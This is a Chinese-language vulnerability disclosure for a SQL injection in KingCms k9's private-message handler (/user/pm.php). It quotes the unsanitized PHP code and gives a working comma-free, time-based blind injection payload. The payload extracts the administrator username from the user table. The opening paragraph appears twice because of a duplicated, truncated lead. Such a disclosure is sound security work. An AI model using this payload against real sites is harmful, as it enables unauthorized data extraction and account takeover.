### 简要描述: KingCms最新版(k9)注入1枚 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 这个注入有点好玩,不能使用逗号,逼的我只能盲注了,哈哈,下面来研究研究吧。 注入点:GET /user/pm.php?jsoncallback=1&_=1&CMD=post&METHOD=POST&AJAX=1&username=test&content=test HTTP/1.1注入参数:where 问题文件在 /user/pm.php ``` function _post(){ $u=new user;extract($u->info);; if (!$islogin) kc_tip('请先登录!'); if(METHOD=='POST'){ $str=new str; $db=new db; if(empty($_POST['username'])) kc_tip('用户名不能为空!','form'); if(empty($_POST['content'])) kc_tip('短信内容不能为空!','form'); if($str->len($_POST['content'])>1000) kc_tip('短信不能超过1000字!'); $usernames=preg_split('/[\s\,]+/',$_POST['username']); $res=$db->getRows('%s_user','userid',"username in ('".implode("','",$usernames)."')"); if(empty($res)) kc_tip('收件人名称有误!','form'); $array=array(); foreach($res as $rs){ $array[]=array( 'userid'=>$rs['userid'], 'puserid'=>$userid, 'content'=>$_POST['content'], 'date'=>time(), ); } $db->insert('%s_user_pm',$array,1);...
### 简要描述: KingCms最新版(k9)注入1枚 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 这个注入有点好玩,不能使用逗号,逼的我只能盲注了,哈哈,下面来研究研究吧。 注入点:GET /user/pm.php?jsoncallback=1&_=1&CMD=post&METHOD=POST&AJAX=1&username=test&content=test HTTP/1.1注入参数:where 问题文件在 /user/pm.php ``` function _post(){ $u=new user;extract($u->info);; if (!$islogin) kc_tip('请先登录!'); if(METHOD=='POST'){ $str=new str; $db=new db; if(empty($_POST['username'])) kc_tip('用户名不能为空!','form'); if(empty($_POST['content'])) kc_tip('短信内容不能为空!','form'); if($str->len($_POST['content'])>1000) kc_tip('短信不能超过1000字!'); $usernames=preg_split('/[\s\,]+/',$_POST['username']); $res=$db->getRows('%s_user','userid',"username in ('".implode("','",$usernames)."')"); if(empty($res)) kc_tip('收件人名称有误!','form'); $array=array(); foreach($res as $rs){ $array[]=array( 'userid'=>$rs['userid'], 'puserid'=>$userid, 'content'=>$_POST['content'], 'date'=>time(), ); } $db->insert('%s_user_pm',$array,1); kc_tip('信息发送成功!','ok'); } 无关代码 ``` 看上面的代码是这么处理$username的:$usernames=preg_split('/[\s\,]+/',$_POST['username']); 也就是用一个正则表达式来分隔字符串,而这个正则表达式会匹配逗号,也就是说在写payload时,逗号肯定是不能用的了,因为payload中的逗号会被用作分隔符。除了使用preg_split处理了一下$username,就没有别的处理了,带入了SQL。因此,这里存在注入。 Kingcms本来是可以报错注入的,但是我不知道如何能写出不使用逗号的报错注入的payload,所以,这里我只能使用盲注了。使用case when then来避免使用逗号,payload见下 Payload:(注册一个前台用户登陆后即可测试) ``` ')or/**/(select/**/case/**/when/**/(select/**/username/**/from/**/(select/**/*/**/from/**/king_user)/**/as/**/a/**/where/**/userid=10000)/**/like/**/'z%'/**/then/**/sleep(1)/**/else/**/sleep(0)/**/end)/**/%23 ``` 当猜测管理员用户名的第一个字母是a时,若正确,则延迟 [<img src="https://images.seebug.org/upload/201503/2400105609f6fd5c05e433fa161095cdaea77e2c.jpg" alt="猜测正确副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/2400105609f6fd5c05e433fa161095cdaea77e2c.jpg) 若错误,不延迟 [<img src="https://images.seebug.org/upload/201503/2400112040b3d8011c2c1ece87fbc05ddcb1dd90.jpg" alt="猜测错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/2400112040b3d8011c2c1ece87fbc05ddcb1dd90.jpg) ### 漏洞证明: 见 详细说明